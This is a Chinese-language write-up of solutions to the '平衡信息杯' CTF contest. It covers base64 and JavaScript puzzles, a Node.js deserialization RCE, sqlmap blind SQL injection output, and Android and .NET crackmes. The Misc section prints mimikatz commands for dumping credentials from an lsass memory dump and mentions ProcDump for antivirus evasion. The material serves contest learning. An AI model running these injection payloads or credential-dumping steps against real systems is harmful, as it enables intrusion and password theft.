【CTF】平衡信息杯-Write-Up

【CTF】平衡信息杯-Write-Up

Basic

Basic_100-神秘二进制

Basic_100
这二进制莫名其妙,因为没人能做出,所以就改题了。
Basic_100_1

Basic_100_2-Finally, You get flag!

Basic_100_2
附件是一个base64的加密,只要解密就可以看到flag

Basic_200

Basic_200
这道题怎么说呢,看图就知道了。
Basic_200_1

Web

Web_100

Web_100
附件的代码为:

1
2
3
<script>
eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('2 c=E;g m(){2 8=p.q;2 6=l j();f(8.w("?")!=-1){2 h=8.r(1);5=h.9("&");d(2 i=0;i<5.o;i++){6[5[i].9("=")[0]]=u(5[i].9("=")[1])}}v 6}g n(4,s,e){7="";d(i=0;i<4.o;i++){k=(s+e)%c;t=e;e=s+e;s=t;7+=4[i]^k}f(7=="x")b.a("C\'s z!");B b.a("A\'s y!")}2 3=l j();3=m();b.a(3);n(3[\'4\'],F,D);',42,42,'||var|Request|key|strs|theRequest|cipher|url|split|log|console|iv|for||if|function|str||Object||new|GetRequest|enc|length|location|search|substr|||unescape|return|indexOf|34558914423312210022264341011282361161032135513678115123012499|Wrong|Right|Something|else|That|21|0xff|13'.split('|'),0,{}))
</script>

http://jsbeautifier.org/进行解密之后为:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
var iv = 0xff;
function GetRequest() {
var url = location.search;
var theRequest = new Object();
if (url.indexOf("?") != -1) {
var str = url.substr(1);
strs = str.split("&");
for (var i = 0; i < strs.length; i++) {
theRequest[strs[i].split("=")[0]] = unescape(strs[i].split("=")[1])
}
}
return theRequest
}
function enc(key, s, e) {
cipher = "";
for (i = 0; i < key.length; i++) {
k = (s + e) % iv;
t = e;
e = s + e;
s = t;
cipher += key[i] ^ k
}
if (cipher == "34558914423312210022264341011282361161032135513678115123012499") console.log("That's Right!");
else console.log("Something's Wrong!")
}
var Request = new Object();
Request = GetRequest();
console.log(Request);
enc(Request['key'], 13, 21);

反推

1
2
3
4
5
6
7
8
9
10
function enc(key, s, e) {
cipher = "";
for (i = 0; i < key.length; i++) {
k = (s + e) % iv;
t = e;
e = s + e;
s = t;
cipher += key[i] ^ k
}
if (cipher == "34558914423312210022264341011282361161032135513678115123012499") console.log("That's Right!");

得出key为000000003007006000702000
结合function GetRequest得出payload

1
?key=000000003007006000702000

但是提交结果不对。过了大半天,但是一个人都没解出来,官方给出hint
Web_100_1
emmmmm,这题就这样吧,看不懂。果然100分。

Web_200

转啊转,转啊转,信息收集。
Web_200_1

这个input、这个URL格式,不正是今年NodeJS RCE

参考了这个利用 Node.js 反序列化漏洞远程执行代码
但是没成功,弹不了shell的,群里说,直接读直接读。但是我没能直接读出来,得把结果扔到vps上。
Web_200_2
payload出自于如何使用NodeJS写出一枚远程命令执行(RCE)漏洞

Web_300

Web_300
直接sqlmap就行了。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
sqlmap resumed the following injection point(s) from stored session:
---
Parameter: id (GET)
Type: boolean-based blind
Title: AND boolean-based blind - WHERE or HAVING clause
Payload: id=8 AND 4897=4897

Type: AND/OR time-based blind
Title: MySQL >= 5.0.12 AND time-based blind
Payload: id=8 AND SLEEP(5)
---
[13:39:29] [INFO] the back-end DBMS is MySQL
web application technology: Apache
back-end DBMS: MySQL >= 5.0.12

Web_300_sqlmap

Misc

Misc_200_2

Misc_200_2
这题一直在踩内部doc的坑。
Misc_200_3

Misc_300

Misc_300
先用脚本提取Pcapng中的菜刀流量,这题最大的坑就是数据包有点大大大大大大了。
Misc_300_ProcDump
看到了ProcDump很关键,这道题可能就是利用了ProcDump+mimikatz的组合,毕竟毕竟这样免杀。
先导出http,找到了关键点(其实dump的结果都不小),辣鸡数据包、辣鸡电脑,卡到生活不能自理。
规则为frame.len == 533,追踪流确实看到关键字
Misc_300_1
将数据抠出来,使用mimikatz进行恢复,但是恢复过程中还是出现不少问题,抠出来的数据恢复不了,mimikatz没注意是32还是64等等。。。

1
2
3
mimikatz.exe
sekurlsa::minidump lsass.dmp
sekurlsa::logonPasswords full

Misc_300_mimikatz

Mobile

Android_crackme1

先用jadx反编译apk
Mobile_Android_crackme1
就一个控件。
往下看,了解这个程序的主要思想:输入的Password值,经过CryptClass后,得到的加密结果是否匹配cip,正确就输出Bingo
重点查看

1
2
3
String enc = CryptClass.encrypt_str(passstr, (String) keys.get(passstr.length() % keys.size()));
if (enc.equals(MainActivity.this.cip)) {
Toast.makeText(MainActivity.this, "Bingo!", 1).show();

首先还是得去弄明白它们的值是怎么来的。

看到R.string.key6,然后去找这个key6,但是找到的是

1
public static final int key6 = 2131165222;

有安卓开发的人都知道,编写java代码中的常量在一般情况下,我们是定义在string.xml这个文件中,这个string.xml的值会被R文件映射。
Mobile_Android_crackme1_key6

1
2
3
this.Password = (EditText) findViewById(R.id.editText5);
this.Cipher = (EditText) findViewById(R.id.editText6);
this.cip = getString(R.string.key6);

Password值是编辑框接受输入的值,为后续的passstr
Cipher值不知道干啥
cip值为05bfed10af08193ff0b218e887c53dfa162f8a6e8b
passstr.length() % keys.size()的理论值为0,1,2,3,4,5,主要看passstr的长度,因为是passstr的长度决定了调用哪一个keys
验证得出passstr的长度以及keys值
Mobile_Android_crackme1_ciplist
这样我们就可以得出passstr的长度为21,使用的keys为3,也就是NO1bgoMn14J85yrLQHM9KoZJ

接下来,就看看怎么解密了。看了下,我选择了爆破的方式。
在验证passstr的长度以及keys值的时候,发现输入的password值个数是21个,加密后个数变为42,也就是说1个字符加密得出2个字符
那我们就将cip拆开进行每位数的验证
Mobile_Android_crackme1_flagdemo
顺便说一句,上图不应该是解密,应为加密,还有就是Eclipse的调试不够人性化。拆开验证是:
Mobile_Android_crackme1_flag

看了各位大佬的wp,才发现,CryptClass类里面是有解密函数的。
Mobile_Android_crackme1_flags

ReV

windows_crackme2

菜鸡总是看哪些题是多人解出来之后就去做哪题。
windows_crackme2
扔进ILSpy没看到源码,扔进Reflector拿到源码。
Form1的内容为机器码

1
2
3
4
5
public Form1()
{
this.InitializeComponent();
this.textBox1.Text = "SzLPCCA4";
}

我们要找出相应的注册码,先看源码。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
private void button1_Click(object sender, EventArgs e)
{
string text = this.textBox2.Text; //注册码框
SHA1 sha = new SHA1CryptoServiceProvider(); //Sha1编码
byte[] bytes = Encoding.Unicode.GetBytes(this.textBox1.Text);
string str2 = BitConverter.ToString(sha.ComputeHash(bytes)); //对SzLPCCA4进行Sha1编码
string str3 = new string(text.ToCharArray().Reverse<char>().ToArray<char>());
//对输入的注册码进行反转
string str4 = "";
int num = 0;
for (int i = 0; i < str3.Length; i++)
{
if (text[i] != '-')
{
num++;
str4 = str4 + str3[i].ToString();
if (num == 2)
{
num = 0;
if (i != (str3.Length - 1))
{
str4 = str4 + "-";
}
}
}
}
string str5 = AESEncrypt(str2, "H8vY7QKY", "8@Z>FXsv"); //对sha1编码后的SzLPCCA4进行AES加密
string str6 = AESEncrypt(str4, "H8vY7QKY", "8@Z>FXsv"); //对反转后的注册码进行AES加密
if (str5 == str6)
{
MessageBox.Show("再来一瓶!");
}
else
{
MessageBox.Show("谢谢参与!");
}
}

主体的思想为:

机器码:Sha1编码后再进行AES加密的值为str5
注册码:反转后再进行AES加密的值为str6
如果str5等于str6则返回再来一瓶,flag则为输入的注册码

解题思路:

AES加密的密钥都是一样的,所以加密前是相等的。
只要将机器码进行Sha1编码后再反转就是注册码
也就是将str2进行输出后反转或者反转后输出

demo为:

1
2
3
4
5
6
7
public static void Main(string() args)
{
SHA1 sha = new SHA1CryptoServiceProvider();
byte[] bytes = Encoding.Unicode.GetBytes("SzLPCCA4");
string str2 = BitConverter.ToString(sha.ComputeHash(bytes));
MessageBox.Show(str2);
}

得到的结果为0AC8B571539392065B0B160148832CA2DC2710A1,进行反转且八位每段得出flag。
1A0172CD-2AC23884-1061B0B5-60293935-175B8CA0

最后附张图:
平衡信息杯

RcoIl Alipay
!坚持技术分享,您的支持将鼓励我继续创作!